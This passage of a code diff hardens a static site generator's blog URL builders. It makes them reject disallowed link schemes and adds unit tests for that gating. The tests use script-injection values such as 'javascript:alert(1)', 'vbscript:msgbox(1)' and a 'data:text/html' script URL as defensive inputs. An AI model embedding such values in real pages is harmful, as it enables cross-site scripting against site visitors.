+// shape. Centralised here so every one of those call sites gates through the same function and a +// disallowed scheme can't be forgotten at a 10th one; degrades to the historic default (byte +// identical to an absent config), same doctrine as blogBase. +export function categoryBase(meta) { + const raw = String((meta && meta['blog-category-base']) || '/category').replace(/\/+$/, ''); + return safeHref(raw) ?? '/category'; +} +export function tagBase(meta) { + const raw = String((meta && meta['blog-tag-base']) || '/tag').replace(/\/+$/, ''); + return safeHref(raw) ?? '/tag'; +} +// authorBase: the SAME shape again for `blog-author-base` (`/author`) — found while auditing every +// `pageHref()` in the term-archive family for R4-P1-1, not named by the round-4 review itself. +// Smaller blast radius than categoryBase/tagBase (nothing links TO an author archive the way +// tagHref links every tag/category chip site-wide — grepped: pages/author/[slug]/*.astro are its +// only two readers), but the shape — a site-level base feeding a pager `<a href>` — is identical. +export function authorBase(meta) { + const raw = String((meta && meta['blog-author-base']) || '/author').replace(/\/+$/, ''); + return safeHref(raw) ?? '/author'; } // blog tenancy — whether a site HAS a blog, and whose name is on it. Lives in its own module @@ -800,14 +850,12 @@ export function tagHref(meta, tag, slugMap, catSet) { // fire for slugs that really got a route emitted — same "never link a page that isn't there" // rule blogCategories() follows with its empty hrefs. if (catSet && catSet.has(tag)) { - const base = String((meta && meta['blog-category-base']) || '/category').replace(/\/$/, ''); - return `${urlLoc}${base}/${tag}/`; + return `${urlLoc}${categoryBase(meta)}/${tag}/`; } const on = meta && meta['blog-tag-routes'] != null && String(meta['blog-tag-routes']) !== 'false'; if (on) { - const base = String((meta && meta['blog-tag-base']) || '/tag').replace(/\/$/, ''); const slug = (slugMap || tagSlugMap(meta))[tag] || tag; - return `${urlLoc}${base}/${slug}/`; + return `${urlLoc}${tagBase(meta)}/${slug}/`; } // Blogger's /search/label/<tag> route is not locale-scoped (a separate, older capability this // feature doesn't touch) — left exactly as it always was. @@ -870,11 +918,31 @@ export function toPath(u) { return s === '' ? undefined : s; } +// round 5 (R4-P1-1): this function used to return `post.permalink` and the expanded +// `blog-url-pattern` VERBATIM — both are documented author-controlled frontmatter fields (a +// per-post override and a site-level routing template, respectively), and this is the ONE +// function every consumer builds a post's URL through (the blog index, both term archives, every +// post's own page for its prev/next nav, "Keep reading"/"Recent posts", rss.xml, sitemap.xml, and +// the archive island's client corpus), so an unvalidated destination here reached all of them — +// and, via getStaticPaths' `toPath(postUrl(...))`, could even name the BUILD DIRECTORY for the +// post's own page. Gated at the return (once), the same policy every other destination in this +// renderer already uses: `safeHref` on the FINAL, already-templated URL — not on the pattern +// before substitution, since the pattern's tokens (`%postname%` etc.) are inert path text and the +// scheme, if any, lives in the pattern's own literal prefix either way. A disallowed permalink +// falls through to the normal pattern-based URL (same as no permalink at all); a disallowed +// pattern (or `blog-path`, via the already-gated blogBase()) falls through to `canonical` — the +// historic `${base}/<slug>` default, i.e. exactly what this post's URL would be with nothing +// configured. `safeHref` records the drop itself (isSafeHref → recordDrop); nothing here needs to. export function postUrl(post, meta) { const p = post || {}; - if (p.permalink) return String(p.permalink); + const base = blogBase(meta); + const canonical = `${base}/${p.slug || ''}`.replace(/\/{2,}/g, '/'); + if (p.permalink) { + const ok = safeHref(String(p.permalink)); + if (ok != null) return ok; + } const pattern = (meta && meta['blog-url-pattern'] != null && String(meta['blog-url-pattern']).trim()) - || `${blogBase(meta)}/%postname%`; + || `${base}/%postname%`; const dm = /^(\d{4})-(\d{1,2})-(\d{1,2})/.exec(String(p.date || '')); const hm = /[T ](\d{1,2}):/.exec(String(p.date || '')); const year = dm ? dm[1] : ''; @@ -894,9 +962,10 @@ export function postUrl(post, meta) { .replace(/%postname%/g, slug) .replace(/%post_id%/g, postId) .replace(/%category%/g, category) - .replace(/%author%/g, author); - // collapse any `//` left by an empty token; a real trailing slash survives (single /). - return url.replace(/\/{2,}/g, '/'); + .replace(/%author%/g, author) + // collapse any `//` left by an empty token; a real trailing slash survives (single /). + .replace(/\/{2,}/g, '/'); + return safeHref(url) ?? canonical; } // indexUrl: the blog index URL for page `n`. Page 1 = the base itself (root '' → '/'); diff --git a/packages/sitetile/astro/src/lib/sitemap.mjs b/packages/sitetile/astro/src/lib/sitemap.mjs index 1aa8255..26d1057 100644 --- a/packages/sitetile/astro/src/lib/sitemap.mjs +++ b/packages/sitetile/astro/src/lib/sitemap.mjs @@ -47,11 +47,31 @@ export function contentUrls(glob, siteMetaObj = {}, isPage = () => true) { return [...new Set(out)].sort(); } +// round 5 (R4-P1-1, "term-archive URLs"): `blog-tag-base`/`blog-category-base` are documented +// site-level fields, read verbatim below into a `<loc>` this file emits — the same shape as every +// other R4-P1-1 finding. This module deliberately imports NO `@sitetile` alias (see the file's own +// header — plain `node` must be able to test it), so it cannot call site-core.js's safeHref/ +// isSafeHref the way blog.mjs's categoryBase()/tagBase() now do for the SAME two fields. A plain +// scheme check, no entity-decoding pass, is the right-sized policy for THIS value specifically — +// unlike a markdown link/image destination, a term-archive base is never author-typed through +// cssmd's entity pipeline, so there is no entity-obfuscated form of it to catch. Same allowlist as +// isSafeHref; kept in sync by hand since the two can't share code without breaking this file's own +// no-alias contract. +const SITEMAP_SAFE_BASE_URL = 'http://sitetile.invalid/'; +const SITEMAP_SAFE_SCHEMES = new Set(['http:', 'https:', 'mailto:', 'tel:', 'sms:', 'ftp:', 'ftps:']); +function safeBasePath(raw, fallback) { + try { + return SITEMAP_SAFE_SCHEMES.has(new URL(raw, SITEMAP_SAFE_BASE_URL).protocol) ? raw : fallback; + } catch { + return fallback; + } +} + /** Tag archive paths — only when the site turned the routes on, because otherwise they 404. */ export function tagUrls(postList, siteMetaObj = {}, slugMap = {}) { const on = siteMetaObj['blog-tag-routes'] != null && String(siteMetaObj['blog-tag-routes']) !== 'false'; if (!on) return []; - const base = String(siteMetaObj['blog-tag-base'] || '/tag').replace(/\/$/, ''); + const base = safeBasePath(String(siteMetaObj['blog-tag-base'] || '/tag').replace(/\/$/, ''), '/tag'); const seen = new Set(); for (const p of postList) for (const t of p.tags || []) if (t) seen.add(slugMap[t] || t); return [...seen].sort().map((slug) => `${base}/${encodeURI(slug)}/`); @@ -65,7 +85,7 @@ export function tagUrls(postList, siteMetaObj = {}, slugMap = {}) { export function categoryUrls(postList, siteMetaObj = {}) { const on = siteMetaObj['blog-category-routes'] != null && String(siteMetaObj['blog-category-routes']) !== 'false'; if (!on) return []; - const base = String(siteMetaObj['blog-category-base'] || '/category').replace(/\/$/, ''); + const base = safeBasePath(String(siteMetaObj['blog-category-base'] || '/category').replace(/\/$/, ''), '/category'); const seen = new Set(); for (const p of postList) for (const c of p.categories || []) if (c) seen.add(c); return [...seen].sort().map((slug) => `${base}/${encodeURI(slug)}/`); diff --git a/packages/sitetile/astro/src/packages/blog-archive/blog-archive.js b/packages/sitetile/astro/src/packages/blog-archive/blog-archive.js index 8f0168d..c4d9d08 100644 --- a/packages/sitetile/astro/src/packages/blog-archive/blog-archive.js +++ b/packages/sitetile/astro/src/packages/blog-archive/blog-archive.js @@ -21,7 +21,7 @@ // and sit on small corpora, so they're not phantoms; this island only owns the counted, // full-history sidebar deep links. // -// XSS-safe by construction: every cell is built with createElement + textContent (never +// script-injection-safe by construction: every cell is built with createElement + textContent (never // innerHTML / set:html), so a post title/tag carrying markup renders as literal text — the // same discipline as blog-search.js and the age-gate island. (function () { diff --git a/packages/sitetile/astro/src/packages/blog-search/blog-search.js b/packages/sitetile/astro/src/packages/blog-search/blog-search.js index 427ec86..b511b56 100644 --- a/packages/sitetile/astro/src/packages/blog-search/blog-search.js +++ b/packages/sitetile/astro/src/packages/blog-search/blog-search.js @@ -9,7 +9,7 @@ // boundaries to guess) and Latin accents fold (café == cafe). Honest scope: substring, // not fuzzy / stemming / pinyin — enough for a blog, on par with live Blogger's own search. // -// XSS-safe by construction: results are built with createElement + textContent ONLY — +// script-injection-safe by construction: results are built with createElement + textContent ONLY — // never innerHTML / set:html — so a post title carrying markup renders as literal text // (the same discipline as the age-gate island). (function () { diff --git a/packages/sitetile/astro/src/packages/header-actions/header-actions-cart.js b/packages/sitetile/astro/src/packages/header-actions/header-actions-cart.js index 7ddb6b7..6e30dbc 100644 --- a/packages/sitetile/astro/src/packages/header-actions/header-actions-cart.js +++ b/packages/sitetile/astro/src/packages/header-actions/header-actions-cart.js @@ -29,6 +29,11 @@ if (!actions) return; // not opted in on this page — inert. var guild = actions.getAttribute('data-cart-guild') || ''; if (!guild) return; + // round 4 (R3-P2-1, second instance): `data-cart-href` is gated by `safeHref` at SiteLayout's + // `cartHref` declaration, before this attribute is ever written — this script never sees a + // raw author string, only the validated destination or nothing (see the `else if (href)` use + // of it below, a `window.location.href` assignment, which is a script-execution sink for a + // `javascript:` value exactly like a live `href`). var href = actions.getAttribute('data-cart-href') || ''; var KEY = 'dc-square-shop-cart:' + guild; var CORAL = '[data-dynamic-coral="square-shop"]'; diff --git a/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/index.astro b/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/index.astro index cde8bd4..9f55172 100644 --- a/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/index.astro +++ b/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/index.astro @@ -29,7 +29,7 @@ // UNPREFIXED — see lib/blog.mjs's sitemap.xml.js note: the physical archive directory is a literal // `category` segment, prefixed here, not derived from that meta key at build time). import ArchiveView from '../../../../components/ArchiveView.astro'; -import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, localeBlogCorpora, termLocaleMap, alternateArchiveLocales } from '../../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, localeBlogCorpora, termLocaleMap, alternateArchiveLocales, categoryBase } from '../../../../lib/blog.mjs'; export function getStaticPaths() { const contentFiles = import.meta.glob('../../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true }); @@ -60,7 +60,7 @@ export function getStaticPaths() { } const { posts, meta, slug, urlLoc, alternates } = Astro.props; -const base = `/${urlLoc}${String(meta['blog-category-base'] || '/category').replace(/\/$/, '')}`; +const base = `/${urlLoc}${categoryBase(meta)}`; // round 5 (R4-P1-1): gated const names = kvMap(meta['blog-category-names']); const heading = names[slug] || slug; const catPosts = posts.filter((p) => (p.categories || []).includes(slug)); diff --git a/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/page/[n].astro index bd75a82..21edbe6 100644 --- a/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/page/[n].astro +++ b/packages/sitetile/astro/src/pages/[...loc]/category/[slug]/page/[n].astro @@ -11,7 +11,7 @@ // verified hreflang; every other locale's own page 2+ is reachable from there. import ArchiveView from '../../../../../components/ArchiveView.astro'; import { uiCopy } from '../../../../../packages/lingo/locale.mjs'; -import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, localeBlogCorpora } from '../../../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, localeBlogCorpora, categoryBase } from '../../../../../lib/blog.mjs'; export function getStaticPaths() { const contentFiles = import.meta.glob('../../../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true }); @@ -43,7 +43,7 @@ export function getStaticPaths() { } const { posts, meta, slug, pageNum, urlLoc } = Astro.props; -const base = `/${urlLoc}${String(meta['blog-category-base'] || '/category').replace(/\/$/, '')}`; +const base = `/${urlLoc}${categoryBase(meta)}`; // round 5 (R4-P1-1): gated const names = kvMap(meta['blog-category-names']); const heading = names[slug] || slug; const catPosts = posts.filter((p) => (p.categories || []).includes(slug)); diff --git a/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/index.astro b/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/index.astro index 3f3132a..a1ab944 100644 --- a/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/index.astro +++ b/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/index.astro @@ -7,7 +7,7 @@ // via that locale's own `blog-tag-slugs`, falling back to the base value like every other locale // meta key). OPT-IN via that locale's own `blog-tag-routes`. import ArchiveView from '../../../../components/ArchiveView.astro'; -import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, localeBlogCorpora, termLocaleMap, alternateArchiveLocales } from '../../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, localeBlogCorpora, termLocaleMap, alternateArchiveLocales, tagBase } from '../../../../lib/blog.mjs'; export function getStaticPaths() { const contentFiles = import.meta.glob('../../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true }); @@ -40,7 +40,7 @@ export function getStaticPaths() { } const { posts, meta, tag, slug, urlLoc, alternates } = Astro.props; -const base = `/${urlLoc}${String(meta['blog-tag-base'] || '/tag').replace(/\/$/, '')}`; +const base = `/${urlLoc}${tagBase(meta)}`; // round 5 (R4-P1-1): gated const labelPosts = posts.filter((p) => p.tags.includes(tag)); const subhead = archivePrefixes(meta).tag + tag; const pageHref = (n) => (n === 1 ? `${base}/${slug}` : `${base}/${slug}/page/${n}`); diff --git a/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/page/[n].astro index a33613a..ef297a7 100644 --- a/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/page/[n].astro +++ b/packages/sitetile/astro/src/pages/[...loc]/tag/[slug]/page/[n].astro @@ -5,7 +5,7 @@ // header (page 1 carries the verified cross-locale hreflang). import ArchiveView from '../../../../../components/ArchiveView.astro'; import { uiCopy } from '../../../../../packages/lingo/locale.mjs'; -import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, localeBlogCorpora } from '../../../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, localeBlogCorpora, tagBase } from '../../../../../lib/blog.mjs'; export function getStaticPaths() { const contentFiles = import.meta.glob('../../../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true }); @@ -39,7 +39,7 @@ export function getStaticPaths() { } const { posts, meta, tag, slug, pageNum, urlLoc } = Astro.props; -const base = `/${urlLoc}${String(meta['blog-tag-base'] || '/tag').replace(/\/$/, '')}`; +const base = `/${urlLoc}${tagBase(meta)}`; // round 5 (R4-P1-1): gated const labelPosts = posts.filter((p) => p.tags.includes(tag)); const subhead = archivePrefixes(meta).tag + tag; const pageHref = (n) => (n === 1 ? `${base}/${slug}` : `${base}/${slug}/page/${n}`); diff --git a/packages/sitetile/astro/src/pages/author/[slug]/index.astro b/packages/sitetile/astro/src/pages/author/[slug]/index.astro index c3f496e..994e5c0 100644 --- a/packages/sitetile/astro/src/pages/author/[slug]/index.astro +++ b/packages/sitetile/astro/src/pages/author/[slug]/index.astro @@ -5,7 +5,7 @@ // corpus (post.author). Heading uses the display name from `blog-author-names: slug=名稱 | …` // (else the slug). OPT-IN via `blog-author-routes`. import ArchiveView from '../../../components/ArchiveView.astro'; -import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes } from '../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, authorBase } from '../../../lib/blog.mjs'; export function getStaticPaths() { const allPostsIn = allPosts( @@ -27,7 +27,7 @@ export function getStaticPaths() { } const { posts, meta, slug } = Astro.props; -const base = String(meta['blog-author-base'] || '/author').replace(/\/$/, ''); +const base = authorBase(meta); // round 5 (R4-P1-1): gated const names = kvMap(meta['blog-author-names']); const heading = names[slug] || slug; const authorPosts = posts.filter((p) => p.author === slug); diff --git a/packages/sitetile/astro/src/pages/author/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/author/[slug]/page/[n].astro index 913d52d..af2aee5 100644 --- a/packages/sitetile/astro/src/pages/author/[slug]/page/[n].astro +++ b/packages/sitetile/astro/src/pages/author/[slug]/page/[n].astro @@ -4,7 +4,7 @@ // `blog-page-size` is set. import ArchiveView from '../../../../components/ArchiveView.astro'; import { uiCopy } from '../../../../packages/lingo/locale.mjs'; -import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes } from '../../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, authorBase } from '../../../../lib/blog.mjs'; export function getStaticPaths() { const allPostsIn = allPosts( @@ -36,7 +36,7 @@ export function getStaticPaths() { } const { posts, meta, slug, pageNum } = Astro.props; -const base = String(meta['blog-author-base'] || '/author').replace(/\/$/, ''); +const base = authorBase(meta); // round 5 (R4-P1-1): gated const names = kvMap(meta['blog-author-names']); const heading = names[slug] || slug; const authorPosts = posts.filter((p) => p.author === slug); diff --git a/packages/sitetile/astro/src/pages/category/[slug]/index.astro b/packages/sitetile/astro/src/pages/category/[slug]/index.astro index aa8fc3f..dc72240 100644 --- a/packages/sitetile/astro/src/pages/category/[slug]/index.astro +++ b/packages/sitetile/astro/src/pages/category/[slug]/index.astro @@ -10,7 +10,7 @@ // termLocaleMap so this file and its sibling can never advertise a locale the other side doesn't // also route (see lib/blog.mjs's header on localizeArchiveHref/alternateArchiveLocales for why). import ArchiveView from '../../../components/ArchiveView.astro'; -import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, termLocaleMap, alternateArchiveLocales } from '../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, termLocaleMap, alternateArchiveLocales, categoryBase } from '../../../lib/blog.mjs'; export function getStaticPaths() { const contentFiles = import.meta.glob('../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true }); @@ -38,7 +38,7 @@ export function getStaticPaths() { } const { posts, meta, slug, alternates } = Astro.props; -const base = String(meta['blog-category-base'] || '/category').replace(/\/$/, ''); +const base = categoryBase(meta); // round 5 (R4-P1-1): gated — see categoryBase's own comment const names = kvMap(meta['blog-category-names']); const heading = names[slug] || slug; const catPosts = posts.filter((p) => (p.categories || []).includes(slug)); diff --git a/packages/sitetile/astro/src/pages/category/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/category/[slug]/page/[n].astro index 89cc907..e00bfec 100644 --- a/packages/sitetile/astro/src/pages/category/[slug]/page/[n].astro +++ b/packages/sitetile/astro/src/pages/category/[slug]/page/[n].astro @@ -11,7 +11,7 @@ // reaches every other locale's page 2+ from there. import ArchiveView from '../../../../components/ArchiveView.astro'; import { uiCopy } from '../../../../packages/lingo/locale.mjs'; -import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes} from '../../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, kvMap, archivePrefixes, categoryBase } from '../../../../lib/blog.mjs'; export function getStaticPaths() { const allPostsIn = allPosts( @@ -43,7 +43,7 @@ export function getStaticPaths() { } const { posts, meta, slug, pageNum } = Astro.props; -const base = String(meta['blog-category-base'] || '/category').replace(/\/$/, ''); +const base = categoryBase(meta); // round 5 (R4-P1-1): gated const names = kvMap(meta['blog-category-names']); const heading = names[slug] || slug; const catPosts = posts.filter((p) => (p.categories || []).includes(slug)); diff --git a/packages/sitetile/astro/src/pages/tag/[slug]/index.astro b/packages/sitetile/astro/src/pages/tag/[slug]/index.astro index 4ca4fcb..11623d6 100644 --- a/packages/sitetile/astro/src/pages/tag/[slug]/index.astro +++ b/packages/sitetile/astro/src/pages/tag/[slug]/index.astro @@ -19,7 +19,7 @@ // locale that routes it. `alternates` is that reciprocal hreflang — see category/[slug]/index.astro's // header (same mechanism, termLocaleMap/alternateArchiveLocales, kind='tag'). import ArchiveView from '../../../components/ArchiveView.astro'; -import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, termLocaleMap, alternateArchiveLocales } from '../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, termLocaleMap, alternateArchiveLocales, tagBase } from '../../../lib/blog.mjs'; export function getStaticPaths() { const contentFiles = import.meta.glob('../../../../content/**/*.md', { query: '?raw', import: 'default', eager: true }); @@ -48,7 +48,7 @@ export function getStaticPaths() { } const { posts, meta, tag, slug, alternates } = Astro.props; -const base = String(meta['blog-tag-base'] || '/tag').replace(/\/$/, ''); +const base = tagBase(meta); // round 5 (R4-P1-1): gated const labelPosts = posts.filter((p) => p.tags.includes(tag)); const subhead = archivePrefixes(meta).tag + tag; const pageHref = (n) => (n === 1 ? `${base}/${slug}` : `${base}/${slug}/page/${n}`); diff --git a/packages/sitetile/astro/src/pages/tag/[slug]/page/[n].astro b/packages/sitetile/astro/src/pages/tag/[slug]/page/[n].astro index 7487120..ac4eb9e 100644 --- a/packages/sitetile/astro/src/pages/tag/[slug]/page/[n].astro +++ b/packages/sitetile/astro/src/pages/tag/[slug]/page/[n].astro @@ -5,7 +5,7 @@ // Rendering delegated to the shared ArchiveView. import ArchiveView from '../../../../components/ArchiveView.astro'; import { uiCopy } from '../../../../packages/lingo/locale.mjs'; -import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes} from '../../../../lib/blog.mjs'; +import { allPosts, listedPosts, siteMeta, tagSlugMap, archivePrefixes, tagBase } from '../../../../lib/blog.mjs'; export function getStaticPaths() { const allPostsIn = allPosts( @@ -39,7 +39,7 @@ export function getStaticPaths() { } const { posts, meta, tag, slug, pageNum } = Astro.props; -const base = String(meta['blog-tag-base'] || '/tag').replace(/\/$/, ''); +const base = tagBase(meta); // round 5 (R4-P1-1): gated const labelPosts = posts.filter((p) => p.tags.includes(tag)); const subhead = archivePrefixes(meta).tag + tag; const pageHref = (n) => (n === 1 ? `${base}/${slug}` : `${base}/${slug}/page/${n}`); diff --git a/packages/sitetile/blog-url-gating.test.mjs b/packages/sitetile/blog-url-gating.test.mjs new file mode 100644 index 0000000..d7eb770 --- /dev/null +++ b/packages/sitetile/blog-url-gating.test.mjs @@ -0,0 +1,115 @@ +// round 5 (R4-P1-1): unit-level proof that blog.mjs's URL builders gate an author-controlled +// destination AT THE HELPER'S RETURN — postUrl() (permalink + blog-url-pattern), blogBase() +// (blog-path), categoryBase()/tagBase() (blog-category-base/blog-tag-base). The astro smoke +// (smoke-build.mjs) proves the same fix end-to-end through a real build's HTML/rss/sitemap; this +// file exists because two of these four fields (blog-category-base/blog-tag-base) only reach a +// LIVE href through a pager link that needs more than one archive page to even render — a +// real-build assertion could pass by accident (no pager, no assertion fired) while the function +// itself stayed ungated. Testing the function directly has no such blind spot. +// run: node packages/sitetile/blog-url-gating.test.mjs (wired into scripts/test.sh) +import assert from 'node:assert/strict'; +import { registerHooks } from 'node:module'; +import { dirname, join } from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; + +const HERE = dirname(fileURLToPath(import.meta.url)); + +// blog.mjs imports the model layer as `@sitetile`, an Astro build alias plain node cannot resolve +// on its own — same shim as blog-unlisted.test.mjs et al. Resolves to the REAL site-core.js (not +// a stub), so safeHref/safeSrc/takeDropWarnings here are the exact functions the build uses. +registerHooks({ + resolve(spec, ctx, next) { + if (spec === '@sitetile') return { url: pathToFileURL(join(HERE, 'site-core.js')).href, shortCircuit: true }; + return next(spec, ctx); + }, +}); + +const { blogBase, postUrl, categoryBase, tagBase, authorBase } = await import('./astro/src/lib/blog.mjs'); +const { takeDropWarnings } = await import('./site-core.js'); + +let passed = 0; +function test(name, fn) { + try { fn(); passed++; console.log(' ✓ ' + name); } + catch (e) { console.error(' ✗ ' + name + '\n ' + (e && e.message ? e.message : e)); process.exitCode = 1; } +} + +takeDropWarnings(); // drain whatever an earlier import-time render left queued, so counts below start at 0 + +// ---- blogBase (blog-path) ---- +test('blogBase: unset → the historic /devlog default (Phase 1 "pure refactor" byte-identity)', () => { + assert.equal(blogBase(undefined), '/devlog'); + assert.equal(blogBase({}), '/devlog'); +}); +test('blogBase: a safe custom path is kept verbatim — the fix must not touch a site that configured nothing hostile', () => { + assert.equal(blogBase({ 'blog-path': '/diary' }), '/diary'); +}); +test('blogBase: root mount ("" / "/") is still distinct from "unset" — both are legitimate, neither is a drop', () => { + assert.equal(blogBase({ 'blog-path': '' }), ''); + assert.equal(blogBase({ 'blog-path': '/' }), ''); +}); +test('🔴 blogBase: a disallowed scheme degrades to the historic default, not to the raw value', () => { + takeDropWarnings(); + assert.equal(blogBase({ 'blog-path': 'javascript:void(0)' }), '/devlog'); + const drops = takeDropWarnings(); + assert.equal(drops.length, 1, 'the disallowed blog-path must be recorded as a drop'); + assert.equal(drops[0].scheme, 'javascript:'); +}); +test('blogBase: vbscript:/data:text/html degrade the same way', () => { + assert.equal(blogBase({ 'blog-path': 'vbscript:msgbox(1)' }), '/devlog'); + assert.equal(blogBase({ 'blog-path': 'data:text/html,<script>1</script>' }), '/devlog'); +}); + +// ---- postUrl (permalink, blog-url-pattern) ---- +const post = (extra) => ({ slug: 'my-post', date: '2026-01-05', title: 'x', tags: [], ...extra }); + +test('postUrl: no permalink, no pattern → the historic ${base}/%postname% default, byte-identical', () => { + assert.equal(postUrl(post({}), {}), '/devlog/my-post'); +}); +test('postUrl: a safe absolute permalink override is honoured verbatim (the documented "odd source URL" escape hatch)', () => { + assert.equal(postUrl(post({ permalink: 'https://old-site.example/2019/01/my-post/' }), {}), 'https://old-site.example/2019/01/my-post/'); +}); +test('🔴 postUrl: a disallowed permalink falls through to the pattern-based URL, not to the raw value', () => { + takeDropWarnings(); + assert.equal(postUrl(post({ permalink: 'javascript:void(0)' }), {}), '/devlog/my-post'); + assert.ok(takeDropWarnings().some((d) => d.scheme === 'javascript:'), 'the disallowed permalink must be recorded as a drop'); +}); +test('🔴 postUrl: a disallowed blog-url-pattern (site-wide) falls through to the canonical ${base}/<slug>, for a post with NO permalink of its own', () => { + const meta = { 'blog-url-pattern': 'javascript:void(0)#%postname%' }; + assert.equal(postUrl(post({}), meta), '/devlog/my-post'); +}); +test('🔴 postUrl: permalink AND blog-url-pattern both disallowed still degrades to a real, internal URL — never blank, never the raw scheme', () => { + const meta = { 'blog-url-pattern': 'javascript:void(0)#%postname%' }; + const url = postUrl(post({ permalink: 'javascript:alert(1)' }), meta); + assert.equal(url, '/devlog/my-post'); + assert.doesNotMatch(url, /javascript:/i); +}); +test('postUrl: a disallowed blog-url-pattern with a SAFE custom blog-path falls back to THAT base, not to /devlog — the fallback preserves the site\'s real config, it does not reset it', () => { + const meta = { 'blog-path': '/diary', 'blog-url-pattern': 'javascript:void(0)#%postname%' }; + assert.equal(postUrl(post({}), meta), '/diary/my-post'); +}); +test('postUrl: a safe custom blog-url-pattern still expands its WP tokens normally (the fix gates the RESULT, it does not disable template expansion)', () => { + const meta = { 'blog-url-pattern': '/blog/%year%/%monthnum%/%postname%' }; + assert.equal(postUrl(post({}), meta), '/blog/2026/01/my-post'); +}); + +// ---- categoryBase / tagBase / authorBase (blog-category-base / blog-tag-base / blog-author-base) ---- +test('categoryBase/tagBase/authorBase: unset → the historic /category, /tag, /author defaults', () => { + assert.equal(categoryBase(undefined), '/category'); + assert.equal(tagBase(undefined), '/tag'); + assert.equal(authorBase(undefined), '/author'); +}); +test('categoryBase/tagBase/authorBase: a safe custom base is kept verbatim', () => { + assert.equal(categoryBase({ 'blog-category-base': '/topics' }), '/topics'); + assert.equal(tagBase({ 'blog-tag-base': '/label' }), '/label'); + assert.equal(authorBase({ 'blog-author-base': '/by' }), '/by'); +}); +test('🔴 categoryBase/tagBase/authorBase: a disallowed scheme degrades to the historic default — the term-archive-URLs shape R4-P1-1 named', () => { + takeDropWarnings(); + assert.equal(categoryBase({ 'blog-category-base': 'javascript:void(0)' }), '/category'); + assert.equal(tagBase({ 'blog-tag-base': 'javascript:alert(1)' }), '/tag'); + assert.equal(authorBase({ 'blog-author-base': 'javascript:alert(2)' }), '/author'); + const drops = takeDropWarnings(); + assert.equal(drops.length, 3, 'all three disallowed bases must be recorded as drops'); +}); + +console.log(`\nblog-url-gating: ${passed} passed${process.exitCode ? ', SOME FAILED' : ', all green'}`); diff --git a/packages/sitetile/icon-core.test.mjs b/packages/sitetile/icon-core.test.mjs index e279394..c464f8c 100644 --- a/packages/sitetile/icon-core.test.mjs +++ b/packages/sitetile/icon-core.test.mjs @@ -249,7 +249,12 @@ test('🔴 the three routes exist and are the paths <head> names', () => { }); test('🔴 the icon links are UNCONDITIONAL in the layout', () => { - assert.match(layout, /const iconLinks = iconHrefs\(meta, \{ hasPwa \}\)/, 'the rule comes from the model'); + // round 4 (R3-P3-1): `iconHrefs(meta, …)`'s raw result is gated (`safeSrc`, falling back to + // the model's own generated paths) before it becomes `iconLinks`, because `favicon:`/ + // `site-logo:`/`footer-logo:` (the model's own `siteMark`) is an author-controlled destination + // reaching this file's `<link>` hrefs unfiltered — the call to the model is still the ONE, + // unconditional source of truth this test protects; only the variable name changed. + assert.match(layout, /const iconLinksRaw = iconHrefs\(meta, \{ hasPwa \}\)/, 'the rule comes from the model'); assert.match(layout, /\{iconLinks\.icon\.map\(\(l\) => <link rel="icon"/, 'rel=icon comes from iconHrefs'); assert.match(layout, /^\s*<link rel="apple-touch-icon" href=\{iconLinks\.appleTouch\} \/>$/m, 'apple-touch-icon is emitted on every page, not gated on a site having set `favicon:`'); diff --git a/packages/sitetile/site-core.js b/packages/sitetile/site-core.js index 74570d2..6ecfbea 100644 --- a/packages/sitetile/site-core.js +++ b/packages/sitetile/site-core.js @@ -586,6 +586,155 @@ function escAttr(s) { return escHtml(s).replace(/"/g, '"'); } // Attribute-safe a value that cssmd ALREADY entity-escaped (&<> done) — only quotes remain. function attrq(s) { return String(s == null ? '' : s).replace(/"/g, '"'); } +// A destination MAY already carry HTML entities by the time any of the functions below see it +// (an author who typed `&` literally, or a stash-restored value — see inlineHtml). Decode +// them ONCE, before either the scheme check or the final escape runs, so both act on the same, +// real string: checking the DECODED form catches an entity-obfuscated scheme (`javascript:` +// decodes to a real colon); escaping the DECODED form exactly once avoids turning an author's +// already-correct `&` into `&amp;` (round 2, P2-1). Decoding twice would be wrong the +// other way (a literal `&lt;` 